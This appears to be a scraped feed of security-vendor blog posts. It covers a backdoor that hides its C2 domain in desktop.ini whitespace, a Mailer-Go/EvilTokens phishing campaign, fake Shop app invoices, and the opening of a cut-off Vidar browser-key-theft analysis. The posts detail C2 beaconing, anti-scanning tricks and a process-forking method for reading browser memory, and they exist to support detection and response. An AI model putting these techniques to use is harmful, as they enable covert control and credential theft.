The addresses in that left column are the domain. Each line starts two bytes per space plus four for the CRLF after its predecessor, so <code>0x17A - 0xAE</code> is 204, giving 100 spaces and the letter <code>d</code>. Counting the spaces on each line of the sample we recovered gives ten numbers:
<table>
<thead>
<tr>
<th class="markdown-align-right">Line</th>
<th class="markdown-align-right">Spaces</th>
<th class="markdown-align-left">Character</th>
</tr>
</thead>
<tbody>
<tr>
<td class="markdown-align-right">1</td>
<td class="markdown-align-right">100</td>
<td class="markdown-align-left">d</td>
</tr>
<tr>
<td class="markdown-align-right">2</td>
<td class="markdown-align-right">105</td>
<td class="markdown-align-left">i</td>
</tr>
<tr>
<td class="markdown-align-right">3</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">4</td>
<td class="markdown-align-right">103</td>
<td class="markdown-align-left">g</td>
</tr>
<tr>
<td class="markdown-align-right">5</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">6</td>
<td class="markdown-align-right">116</td>
<td class="markdown-align-left">t</td>
</tr>
<tr>
<td class="markdown-align-right">7</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">8</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">9</td>
<td class="markdown-align-right">99</td>
<td class="markdown-align-left">c</td>
</tr>
<tr>
<td class="markdown-align-right">10</td>
<td class="markdown-align-right">107</td>
<td class="markdown-align-left">k</td>
</tr>
</tbody>
</table>
With the hardcoded suffix, the backdoor calls home to <code>diagrtrack.com</code>.
That name is a typosquat of <code>DiagTrack</code>, the Windows service better known by its display name, Connected User Experiences and Telemetry. The malware hid the address of its telemetry server inside a Windows shell configuration file, and named that server after the Windows telemetry service.
<pre><code>Twenty lines of Python recover the domain from any config of this shape:

HEADER_LEN = 174 # length of the stock Windows Program Files desktop.ini

def decode(path): with open(path, "rb") as fh: payload = fh.read()[HEADER_LEN:]

counts, current, i = [], 0, 0
while i &lt; len(payload):
 if payload[i] == 0x0D: # CR ends a line; skip the following LF
 counts.append(current)
 current = 0
 i += 4
 continue
 current += 1
 i += 2 # stride 2: UTF-16LE

if current:
 counts.append(current)

return "".join(chr(c) for c in counts) + ".com"
</code></pre>
The scheme is wasteful in a revealing way. Because each character costs as many UTF-16 spaces as its ASCII value, the config's size is a direct function of the domain it hides: <code>174 + 2 * sum(character codes) + 4 * lines</code>, which for <code>diagrtrack</code> gives 2,318 bytes exactly. The file size is a fingerprint of the domain, and the domain can be narrowed down from the file size alone.

<h2>The C2 protocol</h2>
Each victim gets an eight-character identifier: the CRC-32 of <code>USERNAME</code>, <code>USERDOMAIN</code> and <code>COMPUTERNAME</code> concatenated, formatted as <code>%08X</code>. The same value becomes the name of a mutex, and a second copy waits a second for it before giving up. That matters more than it sounds, because the first copy never gives up: the binary has exactly one <code>ExitProcess</code> call, in the configuration routine, reached only when the mutex is already held or the config is unusable. Past that point the process loops forever. The 19:50 trigger therefore fires to useful effect once per boot, and every later firing dies on the mutex.
The CRC is standard, but neither the polynomial nor the usual 256-entry lookup table is anywhere in the file. What is there is a 14-byte table of bit positions that the code walks at runtime, setting one bit per entry to rebuild <code>0xEDB88320</code>. That reads like an attempt to leave no constant for a scanner to key on, and it is not: it is zlib's <code>DYNAMIC_CRC_TABLE</code> build option, copied in whole. The appendix works out which decade the copy came from.
Every cycle then opens with an ICMP knock rather than an HTTP request. The backdoor resolves the domain, puts its eight-byte identifier in the payload of a 32-byte echo request, and waits a second for a reply. Only if the ping succeeds does it speak HTTP:
<pre><code>POST /version/check.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/x-www-form-urlencoded

a=&lt;id&gt;&amp;r=none
</code></pre>
A beacon with nothing to report sends <code>r=none</code>: the first one, and every cycle where the last response carried no command or only a <code>time</code> change. Otherwise <code>r</code> carries the previous command's output, base64-encoded and then URL-encoded. The user agent is a hardcoded Chrome 78 string, frozen at whatever was current when the author wrote it.
Tasking comes back in the response body, which the malware scans for the literal <code>CMD=</code>. There are three verbs:
<ul>
<li><code>system</code> runs a command through <code>cmd.exe</code>, captures stdout and stderr through a pipe, and gives up after 30 seconds with the text <code>cmd timeout</code></li>
<li><code>put</code> writes a file, taking a path and base64 content</li>
<li><code>time</code> changes the polling interval, which starts at five seconds</li>
</ul>
That is the whole command set. No file listing, no screenshots, no keylogging. Whatever the operator wanted, they were going to get it by shelling out and writing files.

<h2>Two smaller touches</h2>
The <code>put</code> handler does something odd before it writes. It base64-decodes the content, decrements the first byte and increments the second, writes the result to <code>tempcache.tmp</code>, renames that to the target path, and only then reopens the file to patch the correct two bytes back. A dropped executable therefore sits on disk with <code>L[</code> where its <code>MZ</code> signature belongs, right up until a final two-byte write. Anything scanning on file creation or rename sees something that is not a PE at all.
The same habit accounts for <code>cmd.exe</code>, which is absent from the binary in one piece and assembled at the call site:
<pre><code>wnsprintfA(buffer, 0xFFFF, "c%s%se /c %s", "md.", "ex", command);
</code></pre>
Neither trick would trouble a modern behavioural engine, but together they show what the author was worried about: on-access file scanners and string searches, enough to write awkward code to dodge them.

<h2>One machine, one dead domain</h2>
The dates are where this stops being a story about clever encoding.
The domain was registered on 23 July 2020 through a privacy proxy. The binary was compiled on 2 December 2020 at 13:34 UTC, and the config file on the victim's disk was created a little over three hours later. Build and deploy inside one afternoon.
Our software was installed twenty-one days later. Every date that follows is from the middle of the incident rather than the start, and the first evening the backdoor started on that machine is not something we have any record of.
The last DNS record we hold for <code>diagrtrack.com</code> is from March 2021. The registration lapsed that July and nobody renewed it. Nobody re-registered it either: the domain has no whois record today and does not resolve. Even the squatters passed.
The backdoor did not notice. We collected the same WMI subscription from that host three times, in February, August and October 2021, which is how we know the persistence stayed in place rather than being cleaned and reinstalled. When a detection we wrote for this file shape went live in June 2022, it fired on the same machine, and the config was still sitting in <code>C:\ProgramData</code>.
From the code we know what that machine did for the eleven months after the registration lapsed. At 19:50 the WMI consumer started the process, it counted the spaces, rebuilt <code>diagrtrack.com</code>, and called <code>getaddrinfo</code>, which failed. The failure changed less than you would think, because the address buffer is never initialised and nothing checks the return value: every five seconds the implant read whatever bytes happened to be on its stack, called <code>inet_addr</code> on them, and sent an ICMP echo to the result. Then it slept and did it again, until the machine was next rebooted. There was no one on the other end for any of it.

<h2>Detection opportunities</h2>
Configuration formats do not have to look like configuration formats. A routine that counts spaces is still a parser, and a file containing no suspicious strings, high-entropy blob or encoded text can still carry a C2 address in plain sight. Any pipeline that finds data mainly by looking for things that resemble data risks treating whitespace as empty.
Structural detections are more durable. A hash covers one binary and a domain block covers one address, but a rule describing the shape of this configuration survives changes to both.
Past byte 174, a legitimate <code>desktop.ini</code> should not consist entirely of UTF-16 spaces, carriage returns and line feeds. We deployed a detection for that structure in June 2022 and ran it until November. Across our user base, it fired only on the machine we already knew about. It would nevertheless detect another configuration using the same technique with a completely different domain.
The same characteristics also provide several inexpensive hunting opportunities:
<ul>
<li>
Look for <code>__EventFilter</code> and <code>CommandLineEventConsumer</code> pairs bound to <code>Win32_LocalTime</code>, particularly those launching executables from paths intended to resemble legitimate software.
</li>
<li>
Inspect <code>C:\ProgramData\desktop.ini</code>, especially when it contains the Program Files localization string <code>shell32.dll,-21781</code>.
</li>
<li>
Treat a zero-byte <code>C:\ProgramData\desktop.ini</code> as potentially significant. That is the crash artefact this implant creates when the operator has not staged a valid configuration.
</li>
<li>
Look for <code>desktop.ini</code> files containing a legitimate Windows header followed only by UTF-16 whitespace.
</li>
</ul>

<h2>Conclusion</h2>
Everything in this investigation came from one endpoint. That does not tell us how consequential the intrusion was, because we never captured a command, recovered a second-stage payload or established how the machine was first compromised. It does tell us that prevalence alone would have been a poor reason to ignore it.
The implant was custom-built, its configuration format was absent from the rest of our corpus, and searches for related binaries and protocol fragments found no convincing siblings. We assess with moderate confidence that it was deployed selectively, while stopping short of naming an actor or campaign.
By the time our detection found it, the C2 domain had been expired for eleven months. The backdoor was still starting at 19:50 after every reboot, rebuilding the address from lines of spaces, and trying to contact an operator who was no longer there.
The detection was not wrong. It was late.

<h2>Appendix: build and CRC provenance</h2>
Two details that change nothing about the story but pin down what the author built this with.
<h3>The missing runtime</h3>
<code>msvcrt.dll</code> is absent from the import table, and that absence took work. <code>SHLWAPI</code> is there to supply <code>wnsprintfA</code>, <code>StrStrA</code> and <code>StrToIntA</code> in place of <code>sprintf</code>, <code>strstr</code> and <code>atoi</code>, the <code>str*</code> family is <code>lstrcpyA</code> and friends from <code>KERNEL32</code>, and <code>memset</code> and <code>memcpy</code> are the author's own two routines, because the compiler emits calls to those whether you link a runtime or not. The binary also carries its own compiler receipt in <code>.rdata</code>:
<pre><code>GCC: (tdm64-1) 4.9.2
</code></pre>
That is TDM-GCC, a MinGW-w64 distribution, and the linker version of 2.24 and the missing Rich header agree with the string. The PE timestamp reads 2 December 2020, 13:34 UTC. A default build from that toolchain would enter at <code>mainCRTStartup</code> and import <code>msvcrt.dll</code>, so the runtime had to be left out on purpose and the entry point aimed at the author's own function.
<h3>The polynomial that is not there</h3>
The 14-byte table in <code>.rdata</code> is a list of bit positions:
<pre><code>0, 1, 2, 4, 5, 7, 8, 10, 11, 12, 16, 22, 23, 26
</code></pre>
At runtime the code walks that table and sets one bit per entry, counting down from bit 31:
<pre><code>for ( i = 0; i != 14; ++i )
 poly |= 1 &lt;&lt; (31 - tap_table[i]);
</code></pre>
The result is <code>0xEDB88320</code>, the reflected CRC-32 polynomial, which has exactly 14 bits set. Before crediting the author for that: this is zlib. The routine is <code>crc32()</code> line for line, from the null-pointer guard through the pre- and post-inversion to the eight-bytes-at-a-time unrolled loop, compiled with <code>DYNAMIC_CRC_TABLE</code> — the zlib build option that generates the lookup table on first use instead of shipping a kilobyte of constants — and GCC has inlined the static <code>make_crc_table</code> into it, which is why the table build sits inside the same function. zlib built the polynomial from that list of exponents from January 1996 until the 1.2.12 release, in March 2022, replaced it with a plain <code>#define POLY 0xedb88320</code>. The comment sitting directly above the list writes the same polynomial out longhand, as <code>x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1</code>, so the table is the polynomial as a mathematician would state it rather than a constant kept out of a scanner's way. It did not go away for tidiness either: the commit that removed it rewrote the whole routine around the interleaved CRC method of Kadatch and Jenkins, and the new <code>#define</code> was a byproduct of chasing a factor of three in speed.
The confirmation is in <code>.data</code>, which in this binary holds exactly one initialised variable: a <code>dd 1</code> that the CRC routine clears once the table exists. That is zlib's <code>crc_table_empty</code>. What is not there is the thread-safety flag zlib added in September 2004, so their copy of <code>crc32.c</code> came from some zlib released between 1996 and 2004, at least sixteen years stale by the time they compiled it. The missing constant is a build option, not tradecraft.

<h2>Indicators of Compromise</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagrtrack{.}com</td>
<td>C2 domain (expired, no longer resolves)</td>
</tr>
<tr>
<td>d411d93f358128c77aed0be91365b18cfb7575ecd188d22a216cbaeaa51c5e11</td>
<td>Backdoor, RtkNGUI64.exe</td>
</tr>
<tr>
<td>1cc5a4be7f2e41086b53e698b487e43426e5e572bc99e5de62eada9baf83bdcd</td>
<td>Whitespace-encoded config</td>
</tr>
<tr>
<td>C:\Program Files\Realtek\Audio\RtkNGUI64.exe</td>
<td>Fake install path</td>
</tr>
<tr>
<td>C:\ProgramData\desktop.ini</td>
<td>Config location</td>
</tr>
<tr>
<td>/version/check.php</td>
<td>C2 URI path</td>
</tr>
<tr>
<td>Realtek</td>
<td>WMI filter, consumer and binding name</td>
</tr>
</tbody>
</table>

A hand-written Windows backdoor stored its command-and-control domain as the number of trailing spaces in a fake desktop.ini, and we found it on exactly one machine.

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

Princ Security Analyst CTI

The first URL was already dead.&nbsp;It did not load a credential form or show a fake Microsoft login page. Instead, it returned an expired tracking response, which is exactly what the operator wanted scanners and analysts to see after the first click.&nbsp;That could easily have been the end of the investigation: one reported phishing email, a burned link and no visible payload. But the expired URL still exposed enough of the underlying infrastructure to start pulling the thread. What followed led us to Mailer-Go Mission Control, a bulk phishing platform we had not seen publicly documented at the time of analysis.&nbsp;Mailer-Go handled the delivery side of the campaign, including email templates, recipient management, SMTP infrastructure, proxy support and per-recipient tracking links. The final phishing stage came later, through a Cloudflare Workers page running EvilTokens, a known Microsoft OAuth Device Code phishing kit.&nbsp;EvilTokens itself was not the new part. What caught our attention was the machinery around it: how victims were routed there, how the operator switched infrastructure when a domain was burned, and how much of the delivery chain was designed to disappear once a useful click had already happened.&nbsp;<h2>The link was expired, but the pattern was not&nbsp;</h2>The reported email contained a tracking URL under:&nbsp;coldchain-distribution[.]com&nbsp;The URL followed a structure we later associated with Mailer-Go:&nbsp;hxxps://&lt;8-hex&gt;.link.&lt;domain&gt;/t/v3.&lt;campaign-id&gt;.&lt;recipient-token&gt;&nbsp;Each recipient received a unique token. Once that token was used, later requests no longer reached the live phishing chain and instead returned an expired response. A victim could therefore see the real destination, while a scanner or analyst arriving afterwards saw something very different.&nbsp;That behavior became one of the more useful clues in the investigation. The link was not simply a route to a phishing page. It also acted as a gate that closed after use, limiting what could be recovered later from the same URL.&nbsp;The first domain, coldchain-distribution[.]com, was registered on 2026-06-01. Once detections started catching up, the operator moved activity to healthprofessionals21[.]org, which had been registered the same day. Its tracking subdomains resolved to the same Linode IP used by the earlier campaign, and more than 40 *.link.healthprofessionals21[.]org subdomains were eventually observed.&nbsp;<h2>A fake blog on the front door&nbsp;</h2>At the root, the replacement domain looked harmless.&nbsp;healthprofessionals21[.]org served a technology and gaming blog with articles about consoles, VPNs and multimedia devices. The content was thin and generic, but plausible enough to give scanners and casual visitors something ordinary to index. The phishing infrastructure itself sat underneath *.link.healthprofessionals21[.]org.&nbsp;

For a short time, the setup appears to have done its job. The replacement domain initially had little to no reputation-based detection while the phishing chain remained active.&nbsp;By 2026-06-10, that had started to change. Fortinet marked the domain as phishing and ESET flagged it as suspicious, but the operator had already been using it as failover infrastructure after coldchain-distribution[.]com was burned.&nbsp;<h2>What Mailer-Go is&nbsp;</h2>Mailer-Go Mission Control presents itself like a commercial email campaign platform. Its admin panel includes modules for campaign management, audience lists, email creation, SMTP providers, proxy routing, tracking, licensing and update notifications.&nbsp;None of those features, viewed individually, proves malicious intent. The combination is harder to explain as a normal bulk-mail product.&nbsp;Mailer-Go supports proxy routing and multiple SMTP providers, and it generates single-use tracking tokens that stop exposing the live destination after the first click. It also includes built-in license management, yet at the time of our analysis we could find no public documentation, GitHub footprint or visible legitimate product presence. The same Mailer-Go login page was exposed across wildcard campaign subdomains.&nbsp;We assess with moderate confidence that Mailer-Go is purpose-built crimeware rather than a legitimate phishing simulation tool being abused. That assessment is based on the platform as a whole: proxy support, flexible sending infrastructure, token burning, controlled access and the absence of a public legitimate footprint.&nbsp;Useful fingerprints include:&nbsp;Mailer-Go Mission Control&nbsp; /assets/js/tracking.js?v=20260522d&nbsp; /assets/js/proxies.js?v=20260513b&nbsp; /assets/js/sending-infrastructure.js?v=20260513b&nbsp; /assets/dist/emailbuilder2/manifest.json&nbsp;The observed admin panel HTML had this SHA-256:&nbsp;3a026fcb5001327198ac3886e6983183e44b8a5daa0086d34c10cb65130c6f89&nbsp;<h2>Live tokens showed the real destination&nbsp;</h2>The expired links were only part of the picture. URLScan captures of tokens that were still live showed a different path.&nbsp;Valid Mailer-Go tracking links routed through:&nbsp;mysocalledblog[.]com/sev/&nbsp;That relay then redirected the victim to a Cloudflare Workers page. Following the EvilTokens convention, the Workers subdomain encoded the targeted recipient's email address, which we have redacted:&nbsp;9sfo-bnqi-4yap.[recipient-redacted]-s-account.workers[.]dev&nbsp; &nbsp;The page presented itself as a OneDrive shared-document flow built around a file named Confidential_Memo.docx. Captures showed several stages of the page, including a “Preparing verification...” screen, a transient “fetch failed” error and, most importantly, the page displaying a Microsoft device code.&nbsp;

There was no fake Microsoft password form. The victim was sent to the real Microsoft device login page. If they entered the code and completed authentication, the attacker-controlled client could receive OAuth tokens in the background.That has an important consequence for incident response. Resetting the user's password may not be enough if a refresh token has already been issued. We cover the response steps later in the defenders section.Why Visa appeared in the redirect chainExpired tokens followed another route.Instead of reaching the EvilTokens page, they passed through:arduinosolutions[.]com/sev/and then landed on legitimate Visa sites such as visa[.]fr, visa[.]com, visa[.]de and others.That initially creates a confusing picture because Visa appears repeatedly in the redirect data, yet the confirmed phishing lure impersonated Microsoft OneDrive.The explanation was simpler. Visa acted as fallback cover for dead tokens. Once a tracking token had expired, the user was sent to a legitimate site rather than the phishing page. Someone clicking the link later could reasonably conclude that nothing malicious had happened, and an analyst reconstructing the chain after the fact could reach the same wrong conclusion.<h2>The emails were built to survive static scanning</h2>We identified five phishing EML samples tied to the campaign. Their MIME-header similarity supports the conclusion that they came from the same sending platform.The messages used generic B2B document themes, including an Autodesk-themed “Bidding Addendum” lure. We found no evidence of detailed industry reconnaissance, so the activity looks more like broad B2B targeting than a tightly tailored campaign.The email bodies also used a simple obfuscation technique in which characters were interleaved with question marks:T?h?i?s?The text remains readable to a person, but the added characters interfere with keyword matching and some content-based detection systems. At the time of analysis, the observed samples had zero detections across the engines available in our internal dataset.We also saw Microsoft SafeLinks wrapping in some of the messages. In those cases, the original Mailer-Go URL was stored in the originalsrc attribute rather than the visible href, so analysts reviewing mail traces should inspect both.<h2>What defenders should take from this</h2>The most useful Mailer-Go indicators are likely to come from the delivery layer rather than the lure itself. Phishing content can be changed quickly, and a Workers URL can disappear. The tracking structure is more consistent.In this campaign, Mailer-Go links used *.link.&lt;domain&gt; subdomains and a /t/v3. path containing a numeric campaign ID followed by a long hexadecimal token:hxxps://&lt;8-hex&gt;.link.&lt;domain&gt;/t/v3.&lt;campaign-id&gt;.&lt;recipient-token&gt;The admin panel also exposed reusable fingerprints, including the title Mailer-Go Mission Control and versioned JavaScript paths such as:/assets/js/tracking.js?v=20260522d/assets/js/proxies.js?v=20260513b/assets/dist/emailbuilder2/manifest.jsonFor Microsoft 365 environments, a confirmed device-code phishing event should not be handled as ordinary password phishing. If the attacker received a refresh token, resetting the password may leave access intact. Response should include revoking active sessions and refresh tokens, reviewing device-code sign-ins, checking app consent, reviewing registered authentication methods and devices, and looking for new mailbox rules, MFA changes or suspicious file access after the click.<h2>Attribution and limits</h2>We have not linked this campaign to a named threat actor.The operator appears to be a customer of EvilTokens, which is commercially sold. Mailer-Go is less clear. Its licensing features and commercial-style architecture suggest controlled distribution, but we do not know how the platform is sold or shared, and we cannot rule out the possibility that the operator behind this campaign is also involved in its development.There are other limits to what the available evidence can tell us. We observed a low-confidence PE download signal in sandbox telemetry, but no executable was recovered and the same signal appeared when sandboxing the Mailer-Go admin panel itself. Without endpoint evidence showing a PE download or execution after a victim click, we do not treat that as confirmed victim-side malware delivery.<h2>Conclusion</h2>The reported link was already burned, but it still exposed the campaign’s delivery architecture. Behind the expired URL sat a Mailer-Go tracking server, a backup domain with a fake root site, relay nodes of unconfirmed ownership and an EvilTokens page abusing Microsoft’s device-code flow.Mailer-Go is the part defenders should track beyond this campaign. The final lure can change. The Workers URL can disappear. The delivery layer leaves stronger patterns: *.link.&lt;domain&gt; subdomains, /t/v3 tracking paths, single-use tokens, exposed admin panels and a small set of reusable JS fingerprints.<h2>Sources and credits</h2><ul type="disc"><li data-list-item-id="e85ca59061a0c2a3192dac54b484f8035">Website snapshots (Figures 1, 2): urlscan.io</li><li data-list-item-id="e4395200636d122ba2fa1724623960f0c">EvilTokens background: public research by Sekoia and Push Security</li></ul>

A single expired URL exposed a phishing campaign built around Mailer-Go, Cloudflare Workers and an EvilTokens OneDrive lure.

The phishing link that died on purpose

Security Evangelist at Gen

Threat Operations Analyst at Gen

A fake invoice in your email is easy to ignore. A fake invoice inside your order history feels different.&nbsp;Norton customers have reported fake Norton invoices appearing inside the Shop app, the shopping and order-tracking app from Shopify. Public reports suggest the same technique is not limited to Norton. Similar suspicious Shop app notifications have used McAfee, Apple gift cards, iPhones, PayPal-style payment claims and other high-value purchases as bait. The impersonated brand may change, but the mechanics are familiar: make the user believe they have been charged, then give them a phone number to call.&nbsp;That phone number is where the scam really begins.&nbsp;<h4>Why the Shop app makes this more believable&nbsp;</h4>Shop is a legitimate app. People use it to track packages, check receipts and receive order updates. According to Shop’s own documentation, the app can automatically track orders from several sources, including Gmail, Outlook, the email address linked to the user’s Shop account and orders paid through Shop Pay. If Gmail or Outlook is connected, Shop says it scans recent emails for keywords such as “tracking number” and “track your package” to populate deliveries in the Orders tab.&nbsp;

Shop also supports push notifications for delivery updates, payments and favorite products. So the first alert the victim sees may not be an email, an SMS or a calendar invite. It may be a notification from an app they already use for real purchases.&nbsp;That context matters. The scam text is not especially polished. Some of the examples we reviewed contain awkward wording and obvious signs of fraud. But when the message appears inside an order-tracking app, surrounded by real receipts and shipping updates, users may give it more credibility than it deserves.&nbsp;The screenshots reported to us show fake orders under generic seller names such as “My Store.” The receipts claim that a Norton or Norton LifeLock subscription has been activated or renewed, usually for several hundred dollars. The phone number appears in the product description, the receipt body or even the shipping address field.&nbsp;That is not how a normal receipt should look.&nbsp;<h4>The brand is interchangeable&nbsp;</h4>Norton is the example we saw through customer reports. Norton support now warns that scammers may abuse Android and iOS shopping platforms or applications to generate fake order notifications that appear to be legitimate Norton purchases. Those notifications may include fake order confirmations, fake charges, trusted third-party app delivery and fake support phone numbers embedded in order details.&nbsp;Public user reports point to a wider pattern. One Reddit user described receiving a Shop.app message about a transaction they did not recognize, with no follow-up email confirmation, and a message telling them to call support if the order was not placed by them. Another thread includes reports of unrecognized iPhone purchases under “My Store,” suspicious contact emails and users saying they saw no matching charges on their bank cards. Other reports mention fictitious Apple gift card purchases and iPhone orders using the same kind of wording: “If Order Not Placed By You,” followed by a phone number.&nbsp;The choice of brand is part of the social engineering. A fake security subscription charge plays on two fears at once: being billed for something you did not buy, and being left unprotected if you ignore it. Apple products and gift cards create high-value purchase panic. PayPal-style wording makes users worry about payment account abuse. In each case, the fake order is there to push the victim toward a call.&nbsp;<h4>What we know, and what we do not&nbsp;</h4>We have not found any evidence that any of the impersonated brands have been compromised.&nbsp;&nbsp;We also should not claim that Shop or Shopify was breached based on the evidence we have. The exact abuse path still needs confirmation. The fake order may be entering the app through a merchant/order workflow, through email parsing, through account association, or through another legitimate mechanism that scammers have found a way to misuse. Shop’s own documentation shows that orders can populate from multiple sources, so assuming one route would be premature.&nbsp;&nbsp;What we can say is narrower and stronger: scammers are placing fake purchase claims inside shopping app order experiences, where users are used to seeing real receipts and order updates. Norton’s own support page now describes this class of shopping app scam, and public reports show similar lures using other brands and products.&nbsp;&nbsp;That is enough to warn users without overstating the technical evidence.&nbsp;<h4>How the scam works&nbsp;</h4>The user receives a notification or sees a new order in the Shop app. The order looks like a receipt for something expensive: a security subscription, an Apple gift card, an iPhone, a MacBook or another high-value purchase.

The receipt says the charge has been processed, the subscription has renewed, or the order is being prepared. Somewhere in the order details, the scammer inserts a phone number, email address or support instruction.&nbsp;The wording is often clumsy. We have seen phrases like “If Order Not Place By You” and “If Need Help.” Those errors may look obvious when reviewing a screenshot. They are easier to miss when a phone notification tells you that hundreds of dollars have just been charged.&nbsp;If the victim calls, the scam moves off-platform. The person answering may claim to be billing support, Norton support, PayPal support or a cancellation department. The script can vary, but the request usually moves toward credentials, payment data, one-time codes or remote access software.&nbsp;By that point, the fake receipt has done its job. It has created enough urgency for the victim to enter a conversation controlled by the scammer.&nbsp;<h4>Why this is harder for users to judge&nbsp;</h4>Most people understand that email can be spam. They may still fall for phishing, but at least the inbox is a place where scams are expected.&nbsp;Order-tracking apps are different. Their purpose is to collect receipts, shipping updates and purchase information in one place. A notification from that environment can feel as if it has already passed through some layer of trust, even when the content inside the order is fraudulent.&nbsp;We have seen the same logic with calendar invite scams. The message itself is not always convincing, but the delivery channel changes how people read it. A fake invoice in an inbox is one thing. A fake invoice inside a calendar reminder or shopping app receipt can feel closer to a real event.&nbsp;For security products, this also creates a detection problem. The first visible alert may not be an email, SMS or malicious website. It may be a legitimate app notification carrying fraudulent text. The scam still depends on social engineering, but the delivery surface is harder to classify with the usual rules.&nbsp;<h4>What to do if you see one&nbsp;</h4>Do not call the number in the receipt.&nbsp;Check the charge directly. Open your bank or credit card app. Open the official account for the brand being impersonated. If it claims to be Norton, go to your Norton account or official Norton support. If it claims to involve PayPal, open PayPal directly. Do not use the phone number, email address or link inside the suspicious order.&nbsp;If there is no matching charge, treat the receipt as a scam attempt.&nbsp;Report the suspicious store or message in the Shop app if the option is available. Shop’s help pages say suspicious Shop stores can be reported from the store page through the app, and Shopify also tells users to forward phishing messages to its phishing inbox.&nbsp;&nbsp;Norton users can forward suspicious messages to Norton and should verify unexpected charges only through their Norton account or official Norton support channels.&nbsp;&nbsp;Opening the receipt does not automatically mean your device was compromised. The risk increases if you call the number, share information, install software or follow instructions from the person on the phone.&nbsp;<h4>What to do if you have already called&nbsp;</h4>End the call.&nbsp;If you shared payment details, contact your bank or card provider immediately using the number on your card or inside your banking app. If you gave away a password, change it from a different device if possible. Start with your email account, Apple ID or Google account, banking account and any account connected to the fake invoice.&nbsp;If you installed remote access software, disconnect the device from the internet and remove the software. Run a security scan before using the device again for banking, email or shopping.&nbsp;If you gave a one-time code to the caller, treat the related account as compromised. Change the password, review recovery options and check recent login activity.&nbsp;<h4>The lesson&nbsp;</h4>Scammers keep testing new places to put old tricks. For years, fake invoices were mostly an email problem. Then similar subscription notices appeared in calendar invites. Now we are seeing fake receipts inside shopping app order histories and push notification flows.&nbsp;The safest response is to separate the alert from the action. If an app, email, text message or calendar invite says you have been charged, do not use the contact details inside that alert. Go directly to the account or payment provider yourself. Check whether the charge exists. Use official support channels.&nbsp;The fake receipt, the fake support number and the fake emergency are all part of the same controlled environment. The moment you verify the charge somewhere else, the scam loses most of its power.&nbsp;

Scammers are using order-tracking apps to place fake receipts where users expect to see real purchases, then pushing them to call fake support numbers. 

Fake invoices are moving from inboxes to shopping apps 

<h2>Introduction&nbsp;</h2>Infostealers are constantly evolving, and so are the techniques they use to bypass <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" target="_blank" rel="noreferrer noopener">Application-Bound Encryption (ABE)</a>. In recent weeks, Vidar has been among the most actively developed stealers and, apart from <a href="https://x.com/GenThreatLabs/status/2064836539952361976" target="_blank" rel="noreferrer noopener">multiple updates to its string obfuscation</a> and <a href="https://x.com/GenThreatLabs/status/2061462524604649840" target="_blank" rel="noreferrer noopener">a reworked approach to protecting its configuration</a>, it has also introduced a novel technique for bypassing ABE. And while there have been many other changes in Vidar lately, with new versions dropping every week, in this blog post we focus solely on the ABE bypass and its technical aspects.&nbsp; &nbsp;<h2>The ABE Bypass&nbsp;</h2>From a high-level perspective, Vidar’s approach to bypassing ABE is somewhat similar to that of Remus/Lumma, in that both try to extract the <code>v20_master_key</code> directly from the browser’s memory. What sets them apart, however, is how they achieve it. Since we’ve already covered the inner workings of ABE in earlier posts (<a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a>, <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass" target="_blank" rel="noreferrer noopener">VoidStealer</a>), we don’t revisit them here and focus instead on the bypass itself. For readers interested in the broader background, we encourage checking those earlier posts.&nbsp;&nbsp;In short, the end goal of infostealers is to obtain the <code>v20_master_key</code>, as it alone is sufficient for decrypting any ABE-protected data tied to a specific application. This key can be obtained in one of two ways: either from disk, where it is protected by two layers of <code>CryptProtectData</code> (one applied in the context of the logged-in user and one as <code>NT AUTHORITY\SYSTEM</code>), or from the browser’s memory – the direction Vidar took.&nbsp;In memory, however, the key is kept protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag. This ensures that even if an attacker manages to read the encrypted form of the key from memory, they cannot simply decrypt it (they would need to invoke the complementary <code>CryptUnprotectMemory</code> function directly from within the browser process). That leaves attackers with two problems to solve: how to find the encrypted key in memory, and how to get it decrypted.&nbsp;<h2>Locating the v20_master_key in Browser’s Memory&nbsp;</h2>Vidar’s approach to locating the encrypted <code>v20_master_key</code> in memory involves scanning the entire memory of a running browser for a specific pattern. But that first requires a browser process to scan.&nbsp;When the target browser is already running, Vidar reuses the existing process. However, it doesn’t read its memory directly. Instead, it creates a fork of it using <code>NtCreateProcessEx</code> with <code>SectionHandle</code> set to <code>NULL</code>, instructing the kernel to clone the address space of the process specified by the <code>ParentProcess</code> as a copy-on-write mapping. The resulting process has no threads and is never resumed – it exists purely as a static memory snapshot.&nbsp;&nbsp;To perform the fork, Vidar first opens a handle to the target browser via <code>OpenProcess</code> with <code>PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS | PROCESS_VM_READ</code>, falling back to <code>PROCESS_CREATE_PROCESS</code> if the initial call fails. It then passes this handle as the <code>ParentProcess</code> argument to <code>NtCreateProcessEx</code>, requesting <code>PROCESS_ALL_ACCESS</code> on the resulting child. If the fork fails, Vidar falls back to scanning the live browser process directly.&nbsp;

